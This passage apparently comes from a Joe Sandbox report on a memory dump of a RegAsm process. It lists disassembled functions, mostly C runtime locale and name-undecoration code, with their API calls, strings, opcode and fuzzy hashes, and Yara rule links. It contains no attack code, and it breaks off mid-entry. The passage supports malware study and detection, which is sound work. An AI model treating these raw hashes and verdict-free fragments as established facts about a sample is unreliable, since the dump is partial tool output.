IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00556E86,?,?,?,00000055,?,-00000050,?,?), ref: 005611BD
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00561320

Strings

utf8, xrefs: 0056128F

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 125a8fdb11863665becb5fb8a9e623b02eeda480228334a53646febdf7755d45
Instruction ID: c229f9fa798894be58daefa86f0deebb0b3adf3289c2bac1009a216d3c08dae4
Opcode Fuzzy Hash: 125a8fdb11863665becb5fb8a9e623b02eeda480228334a53646febdf7755d45
Instruction Fuzzy Hash: 3B715A71A00B07AADB24AB75CC4ABBB7FA8FF45700F18452AF905DB181EB70D944D758

Function 00552DA0 Relevance: 6.5, APIs: 4, Instructions: 455COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7505400ce6ba04d7e6a24cd4f4b2d4ed70d869f0fa5c6f3eb332725e7596dd30
Instruction ID: 98593d961832b577bb604902065ba2b3044358f249b4719abe734af665d25c4e
Opcode Fuzzy Hash: 7505400ce6ba04d7e6a24cd4f4b2d4ed70d869f0fa5c6f3eb332725e7596dd30
Instruction Fuzzy Hash: 84025F75E006199BDF14CFA8D8906ADFBF1FF48315F14816AE919E7380D731AA45CB90

Function 004210E0 Relevance: 6.3, APIs: 4, Instructions: 252COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 0042114D

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 004211CB
__aulldiv.LIBCMT ref: 00421290

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: 775faa42a7d552b4bdd8f93d78419dba34c0cdce023d96a9e4ae6639acb04b62
Instruction ID: b60834f5db5e1552b2b962e335da81e27a52cddb86fc4325a32176b2e4c97051
Opcode Fuzzy Hash: 775faa42a7d552b4bdd8f93d78419dba34c0cdce023d96a9e4ae6639acb04b62
Instruction Fuzzy Hash: 119170B5E00208AFEB14DFA4DC51FAEBBB9FB98714F208119F904BB2D4D77469018B65

Function 005406BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(!x-sys-default-locale,20000001,00000000,00000002,?,?,0041F6CD,?,00000000), ref: 005406D3
FormatMessageA.KERNEL32(00001300,00000000,?,00000000,0041F6CD,00000000,00000000,?,?,0041F6CD,?,00000000), ref: 005406FA

Strings

!x-sys-default-locale, xrefs: 005406CE

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: 20989b94304a7defb237158a79aa7857ec4fe8fe38480a26bcda83b1aef4dd94
Instruction ID: 0e6d38edd00be859f6cf78a91d2be4bd9eac5d4685f0f32cae1fa79fc940a6ab
Opcode Fuzzy Hash: 20989b94304a7defb237158a79aa7857ec4fe8fe38480a26bcda83b1aef4dd94
Instruction Fuzzy Hash: 87F01C75610205FFEB049BD5DD0ADEF7BACEB49794B114015BA42D6180E2B0AE1097B0

Function 005614E4 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0055AF41: GetLastError.KERNEL32(00000000,00553EAB,0055E4B5), ref: 0055AF45
Part of subcall function 0055AF41: SetLastError.KERNEL32(00000000,00000000,-000A8750,00000006,000000FF), ref: 0055AFE7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00561538
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00561582
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00561648

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 0b6528ed2727af672cad1082899e4a17bddceb69dc66016f5d56a2f29a8f21a4
Instruction ID: 70c1aa71be4d85ad4eb85358a0efa33ec9ce2a5a9ef07227a9ee6fcf816bf23e
Opcode Fuzzy Hash: 0b6528ed2727af672cad1082899e4a17bddceb69dc66016f5d56a2f29a8f21a4
Instruction Fuzzy Hash: 4761AF75900A079FEB289F28CD86BBA7BB8FF04300F184179E906C7681EB34D985CB54

Function 00553C90 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,-000A8750), ref: 00553D88
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,-000A8750), ref: 00553D92
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,-000A8750), ref: 00553D9F

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 9a018ef6bc7f006d2d5b9871a2d5a14fba6324950fd96809d316f4df3e492099
Instruction ID: 5739e484f8b64ed1158f2adb511fc395c4ea5408645fc0710bc97b51debf59f2
Opcode Fuzzy Hash: 9a018ef6bc7f006d2d5b9871a2d5a14fba6324950fd96809d316f4df3e492099
Instruction Fuzzy Hash: 9131C174901229ABCB21DF68DC887CDBBB8BF08350F5041EAE80CA7290E7709F858F44

Function 00561737 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0055AF41: GetLastError.KERNEL32(00000000,00553EAB,0055E4B5), ref: 0055AF45
Part of subcall function 0055AF41: SetLastError.KERNEL32(00000000,00000000,-000A8750,00000006,000000FF), ref: 0055AFE7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0056178B

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 12314db74dc1c780a7f071075102a6d7ad0d4ebf62ed34c4e0022942b85259d0
Instruction ID: 525e2d3deaa755b1367135d3ace304a61511168b89152ff51cc4dfa5dad0c6b6
Opcode Fuzzy Hash: 12314db74dc1c780a7f071075102a6d7ad0d4ebf62ed34c4e0022942b85259d0
Instruction Fuzzy Hash: 1C219272600607ABDB289A25DC45A7B7BA8FF44711F14417AFD01D7241EB34ED45C754

Function 005613BE Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055AF41: GetLastError.KERNEL32(00000000,00553EAB,0055E4B5), ref: 0055AF45
Part of subcall function 0055AF41: SetLastError.KERNEL32(00000000,00000000,-000A8750,00000006,000000FF), ref: 0055AFE7

EnumSystemLocalesW.KERNEL32(005614E4,00000001,00000000,?,-00000050,?,00561B18,00000000,?,?,?,00000055,?), ref: 00561430

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 21ce9017f429e29c507f143db8d43db0c9d3451e451c8b9caf143c15956b3100
Instruction ID: 180f8680915f0e2750d0feb05cf390752d4532b0f2bdb17f0f286a0e4d458973
Opcode Fuzzy Hash: 21ce9017f429e29c507f143db8d43db0c9d3451e451c8b9caf143c15956b3100
Instruction Fuzzy Hash: F211253A200B015FDF289F39C8916BABB91FF84359B18442DE98787B40D771B842CB44

Function 00561966 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0055AF41: GetLastError.KERNEL32(00000000,00553EAB,0055E4B5), ref: 0055AF45
Part of subcall function 0055AF41: SetLastError.KERNEL32(00000000,00000000,-000A8750,00000006,000000FF), ref: 0055AFE7

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,005617E1,00000000,00000000,?), ref: 00561992

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: e6566e4f1a3b52a8953e7b7c61f10ab0633314299bf4cecfc55e456ca9af0dec
Instruction ID: 154d179d65967cd39def3a332d30e682769adac159f1085352af7702dae20319
Opcode Fuzzy Hash: e6566e4f1a3b52a8953e7b7c61f10ab0633314299bf4cecfc55e456ca9af0dec
Instruction Fuzzy Hash: F501DB32A009166BDF18562588157BA3F68FB40395F194469ED46E3180EE74ED41C798

Function 005612CC Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 0055AF41: GetLastError.KERNEL32(00000000,00553EAB,0055E4B5), ref: 0055AF45
Part of subcall function 0055AF41: SetLastError.KERNEL32(00000000,00000000,-000A8750,00000006,000000FF), ref: 0055AFE7

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00561320

Strings

utf8, xrefs: 0056128F

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID: utf8
API String ID: 3736152602-905460609
Opcode ID: 1e0f790edf6219d0087bedd49c03608ce0d3e650134530e563ebd2cc61586877
Instruction ID: aee0512e19c8a49db782e0b08c784dc8b685f258d65ca6f674f0ee33791576ef
Opcode Fuzzy Hash: 1e0f790edf6219d0087bedd49c03608ce0d3e650134530e563ebd2cc61586877
Instruction Fuzzy Hash: C6F0C832700206ABD714AB74DC49ABA37ECFF85315F1501BAF906EB241EA74AD049754

Function 00561459 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055AF41: GetLastError.KERNEL32(00000000,00553EAB,0055E4B5), ref: 0055AF45
Part of subcall function 0055AF41: SetLastError.KERNEL32(00000000,00000000,-000A8750,00000006,000000FF), ref: 0055AFE7

EnumSystemLocalesW.KERNEL32(00561737,00000001,?,?,-00000050,?,00561AE0,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 005614A3

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 741fb869a1053948aadea0cbad9fff4b362ef6a6ed194ecfcb899d0c432c9017
Instruction ID: 60fae8a6d0401c9fe4353c39c12cf03f1eaf9966b8dd418d38ee2b8e43ff756d
Opcode Fuzzy Hash: 741fb869a1053948aadea0cbad9fff4b362ef6a6ed194ecfcb899d0c432c9017
Instruction Fuzzy Hash: 3EF046362007055FCB149F39DC81B7A7F94FF80328B08842DF9454B680CAB2AC02CA54

Function 0055B578 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00559A51: EnterCriticalSection.KERNEL32(-00173DB0,?,00555902,00000000,005898B0,0000000C,005558CA,?,?,0055D10C,?,?,0055B0E2,00000001,00000364,0041C3C8), ref: 00559A60

EnumSystemLocalesW.KERNEL32(0055B56B,00000001,00589B70,0000000C,0055B943,00000000), ref: 0055B5B0

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 298a0d326feddef51fa4531c83a59b35b28190c683d77284d9966ad9bc3db6ad
Instruction ID: a1966b68aeed02658dd9d22d9ee8b81625bd5ca2e6ebc5b528a783e4692361ab
Opcode Fuzzy Hash: 298a0d326feddef51fa4531c83a59b35b28190c683d77284d9966ad9bc3db6ad
Instruction Fuzzy Hash: FFF03C76A40205DFD704DF58E85AB5D7BA0FB54721F10411BE811A72A0DB758909DF40

Function 00561373 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0055AF41: GetLastError.KERNEL32(00000000,00553EAB,0055E4B5), ref: 0055AF45
Part of subcall function 0055AF41: SetLastError.KERNEL32(00000000,00000000,-000A8750,00000006,000000FF), ref: 0055AFE7

EnumSystemLocalesW.KERNEL32(005612CC,00000001,?,?,?,00561B3A,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 005613AA

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 60dce63610ef3a150b1960c8f744771e6eb579848d3b35c668cd4f5e1924079e
Instruction ID: 6fbf1db0d860dfe5b69b60246790b1693fd5e35598fd401bb204bb28dcf0b992
Opcode Fuzzy Hash: 60dce63610ef3a150b1960c8f744771e6eb579848d3b35c668cd4f5e1924079e
Instruction Fuzzy Hash: 91F0E53A30024557CB049F39D85567A7F94FFC1710B0A4459EE06CB651D6719842C794

Function 0055BA47 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,005579FC,?,20001004,00000000,00000002,?,?,00556FEE), ref: 0055BA7B

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: bb9429e0232fbbff0e4e3be30dc214aa290e8663941acf9757ef2ff556115542
Instruction ID: c060f1b78f71f7eb78c69f107a62cdac8244513631f35d7fac48146e687034f2
Opcode Fuzzy Hash: bb9429e0232fbbff0e4e3be30dc214aa290e8663941acf9757ef2ff556115542
Instruction Fuzzy Hash: 1EE04F35900219BBDF126F60DC1DEAE3F16FF44761F104512FC4566221CB729925AA95

Function 0051CD90 Relevance: 1.5, APIs: 1, Instructions: 15encryptionCOMMONLIBRARYCODE

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(?,00000000,?,?,0051CE6B,?,?,0051D0F9,?,?,00000000), ref: 0051CDA7

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: f99aaac8c9758899443b23d47bd2e6f87f5fee543218b0c6a20bca957a8c697e
Instruction ID: 2a2373d077735e32addf59d9ae9e58c9926abfff3bf8d2f6bc61f1b82ef8659c
Opcode Fuzzy Hash: f99aaac8c9758899443b23d47bd2e6f87f5fee543218b0c6a20bca957a8c697e
Instruction Fuzzy Hash: 78D05E70544208EBC704CB88E844B69BBB9EB45300F100198E80457350C7725E00EA90

Function 0042C650 Relevance: 1.5, APIs: 1, Instructions: 13timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0042C65A

Part of subcall function 0042C630: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042C645

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1518329722-0
Opcode ID: 0846384a7ef8ada146f4364a39d2aa150d6fe90e0a2e0f76f70be87aba7eb902
Instruction ID: 26212f6dd9c9889740eace36348083d601d478463fc9ebf136614ef56493588f
Opcode Fuzzy Hash: 0846384a7ef8ada146f4364a39d2aa150d6fe90e0a2e0f76f70be87aba7eb902
Instruction Fuzzy Hash: 0DC012B5C1010CA78E00EBE4BC4A89DBB2C9610115F4006A5ED0983101F935A25D8BD2

Function 0042DCD0 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a58165032b6f387b3a28474570795e4e25dfc93a0902fae1b5fa62accefb4b4
Instruction ID: cd77543b30515fead899721cfa5598f148643e701e7b6ea9acc9c050cb6a9405
Opcode Fuzzy Hash: 1a58165032b6f387b3a28474570795e4e25dfc93a0902fae1b5fa62accefb4b4
Instruction Fuzzy Hash: 00E06D74901608EFDB10DFA4E8087A9BBB4FB58301F505A5BEC0493391D3389988EB80

Function 00545A72 Relevance: 72.1, APIs: 11, Strings: 30, Instructions: 359COMMONLIBRARYCODE

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 00545AE5
shared_ptr.LIBCMT ref: 00545B2D
shared_ptr.LIBCMT ref: 00545B4C
operator+.LIBVCRUNTIME ref: 00545C7A
DName::operator=.LIBVCRUNTIME ref: 00545C8C
shared_ptr.LIBCMT ref: 00545ED1
DName::operator+.LIBCMT ref: 00545F13
operator+.LIBVCRUNTIME ref: 00545F59

Strings

wchar_t, xrefs: 00545E23
__w64 , xrefs: 00545C68
this , xrefs: 00545E59
UNKNOWN, xrefs: 00545EBC
char16_t, xrefs: 00545E0B
<unknown>, xrefs: 00545DEC
long, xrefs: 00545B0F
decltype(auto), xrefs: 00545E3B
int, xrefs: 00545AFF
unsigned , xrefs: 00545EF2
dV, xrefs: 00545ECA
long , xrefs: 00545B3A
double, xrefs: 00545B54
__int64, xrefs: 00545CC6
void, xrefs: 00545B75
char, xrefs: 00545AD0
volatile, xrefs: 00545D9B
auto, xrefs: 00545E2F
__int32, xrefs: 00545CD2
__int128, xrefs: 00545CB3
char32_t, xrefs: 00545E17
short, xrefs: 00545AEF
volatile, xrefs: 00545DBB
const, xrefs: 00545D7D
__int8, xrefs: 00545C47
char8_t, xrefs: 00545DFF
float, xrefs: 00545B18
__int16, xrefs: 00545C3B
bool, xrefs: 00545CDE
signed , xrefs: 00545BDA

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: shared_ptr$operator+$Name::operator+Name::operator=
String ID: volatile$<unknown>$UNKNOWN$__int128$__int16$__int32$__int64$__int8$__w64 $auto$bool$char$char16_t$char32_t$char8_t$const$decltype(auto)$double$dV$float$int$long$long $short$signed $this $unsigned $void$volatile$wchar_t
API String ID: 1464150960-1494216725
Opcode ID: ac75876a071b2d59c407c2330918ee95437065eec806d2a68f1ef975a5941908
Instruction ID: 6d99804e3a8da7d5ea7344fbbeede2e4870af29eb28eb8129b335d5c7abf15d8
Opcode Fuzzy Hash: ac75876a071b2d59c407c2330918ee95437065eec806d2a68f1ef975a5941908
Instruction Fuzzy Hash: F2E139B5C0460ADBCB14DF94C49DAFEBFB8BB04308F20855AE512A7242E7B55B49CF91

Function 00549354 Relevance: 28.3, APIs: 10, Strings: 6, Instructions: 297COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 0054942A
UnDecorator::getSignedDimension.LIBCMT ref: 00549435
UnDecorator::getSignedDimension.LIBCMT ref: 00549521
UnDecorator::getSignedDimension.LIBCMT ref: 0054953E
UnDecorator::getSignedDimension.LIBCMT ref: 0054955B
DName::operator+.LIBCMT ref: 00549570
UnDecorator::getSignedDimension.LIBCMT ref: 0054958A
_swprintf.LIBCMTD ref: 00549604
DName::operator+.LIBCMT ref: 0054965F

Part of subcall function 00545497: DName::DName.LIBVCRUNTIME ref: 005454F5

DName::DName.LIBVCRUNTIME ref: 005496D6

Strings

nullptr, xrefs: 0054969F
`template-type-parameter-, xrefs: 0054967B
`generic-class-parameter-, xrefs: 0054966B
lambda, xrefs: 005496BF
NULL, xrefs: 005493E8
`generic-method-parameter-, xrefs: 0054963B

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Decorator::getDimensionSigned$Name::operator+$NameName::$_swprintf
String ID: NULL$`generic-class-parameter-$`generic-method-parameter-$`template-type-parameter-$lambda$nullptr
API String ID: 138750261-2441609178
Opcode ID: 8a1952b18291c6209458bb4a13aa854f6d774381a99a8f7d3ed765806125377e
Instruction ID: 79b858ad9252b6762193080c1aa84ee5613355ddb00d8d47f0802fe59c1a2d6a
Opcode Fuzzy Hash: 8a1952b18291c6209458bb4a13aa854f6d774381a99a8f7d3ed765806125377e
Instruction Fuzzy Hash: DC91A5B2D0410A9ACF14EFB4D95FAFF7F78BF9530CF200919E112A6186DA749A058B61

Function 0054885E Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 005488C9
DName::operator+.LIBCMT ref: 00548A0C

Part of subcall function 005444DA: shared_ptr.LIBCMT ref: 005444F6

DName::operator+.LIBCMT ref: 005489B7
DName::operator+.LIBCMT ref: 00548A58
DName::operator+.LIBCMT ref: 00548A67
DName::operator+.LIBCMT ref: 00548B93
DName::operator=.LIBVCRUNTIME ref: 00548BD3
DName::DName.LIBVCRUNTIME ref: 00548BDD
DName::operator+.LIBCMT ref: 00548BFA
DName::operator+.LIBCMT ref: 00548C06

Part of subcall function 0054A0F8: Replicator::operator[].LIBCMT ref: 0054A135

Strings

`anonymous namespace', xrefs: 00548B18

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=Replicator::operator[]shared_ptr
String ID: `anonymous namespace'
API String ID: 1043660730-3062148218
Opcode ID: f0e404364c21831623b221b52700c3fa0ced215c7f50163083520117cbc2fdd5
Instruction ID: a56167a98a905c46dd22504de9dbf9ed21a87d1f1268e930c8451ea431c80cbe
Opcode Fuzzy Hash: f0e404364c21831623b221b52700c3fa0ced215c7f50163083520117cbc2fdd5
Instruction Fuzzy Hash: C9C18BB19002099FDB24DFA4C849BFEBFF4BB5A308F14445DE54AA7281EB749A49CF50

Function 00546CDF Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00546D12

Part of subcall function 005444B8: DName::operator+=.LIBCMT ref: 005444CE

Strings

cointerface , xrefs: 00546DD3
union , xrefs: 00546E4C
\V, xrefs: 00546D68, 00546E77, 00546E81, 00546D0D
coclass , xrefs: 00546DE3
`unknown ecsu', xrefs: 00546CF4
class , xrefs: 00546E33
struct , xrefs: 00546E3C
\V, xrefs: 00546E5E, 00546E66
enum , xrefs: 00546DFF

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+Name::operator+=
String ID: \V$\V$`unknown ecsu'$class $coclass $cointerface $enum $struct $union
API String ID: 382699925-3114403028
Opcode ID: 44d04b42bd7f64a9fbdc2a737b1503d7bc291e2cb923117d01b19c19c51f0a78
Instruction ID: f35742d8d0e59c2c47aff01cf31279159e0d27da270b69ac7e3e9786b4597088
Opcode Fuzzy Hash: 44d04b42bd7f64a9fbdc2a737b1503d7bc291e2cb923117d01b19c19c51f0a78
Instruction Fuzzy Hash: 3D415BB5D0020ADBCF04DFA8D989BEEBFF8BB46308F104519E505A7241D7719A88DB92

Function 005472C9 Relevance: 19.8, APIs: 13, Instructions: 332COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00547392
DName::operator+.LIBCMT ref: 005473CF
DName::DName.LIBVCRUNTIME ref: 005473E3
DName::operator+.LIBCMT ref: 005473F2
DName::operator+.LIBCMT ref: 00547480
DName::DName.LIBVCRUNTIME ref: 005474A8
DName::operator+.LIBCMT ref: 005474B6
DName::operator+.LIBCMT ref: 005474F0
DName::operator+.LIBCMT ref: 00547531
UnDecorator::getReturnType.LIBCMT ref: 00547561
operator+.LIBVCRUNTIME ref: 00547663

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::$Decorator::getReturnTypeoperator+
String ID:
API String ID: 2932655852-0
Opcode ID: 051f2e2ec0fc0c73c736bc1839f58056cbca688b00fb25940a8b68e4ded01730
Instruction ID: 000a7de5a9f062fbf30602ca6b2b18ce2aaaf6586bb93537d5f4f5eeda67c721
Opcode Fuzzy Hash: 051f2e2ec0fc0c73c736bc1839f58056cbca688b00fb25940a8b68e4ded01730
Instruction Fuzzy Hash: 1EC172B1904209AFCF14DFA8D896AFE7FB8FB5D308F100569F506A7291EB309A45DB50

Function 0054A0F8 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 185COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 0054A135

Strings

generic-type-, xrefs: 0054A1BB
@, xrefs: 0054A2A1
`generic-type-, xrefs: 0054A1D1
`template-parameter-, xrefs: 0054A1A6
template-parameter-, xrefs: 0054A194

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Replicator::operator[]
String ID: @$`generic-type-$`template-parameter-$generic-type-$template-parameter-
API String ID: 3676697650-3433397351
Opcode ID: 660f987c135bd54bbdf5e96d1fe35c0d55838b59f44e33779990b02873a96446
Instruction ID: 65a89cd21b710b857e180ea9b56b32140d1b1376361f3798b4feb2f2ae664960
Opcode Fuzzy Hash: 660f987c135bd54bbdf5e96d1fe35c0d55838b59f44e33779990b02873a96446
Instruction Fuzzy Hash: F261C075D442099FDB00DFA4D849BEEBFB8BF59308F104429EA01B7291DB749909DB91

Function 0054824A Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 178COMMONLIBRARYCODE

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 005482B5
operator+.LIBVCRUNTIME ref: 00548305
shared_ptr.LIBCMT ref: 005483D1
DName::DName.LIBVCRUNTIME ref: 00548401
operator+.LIBVCRUNTIME ref: 00548462

Strings

std::nullptr_t, xrefs: 00548473
volatile, xrefs: 005482A7, 005483C3
volatile , xrefs: 00548297, 005483B3
std::nullptr_t , xrefs: 00548450

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: operator+shared_ptr$NameName::
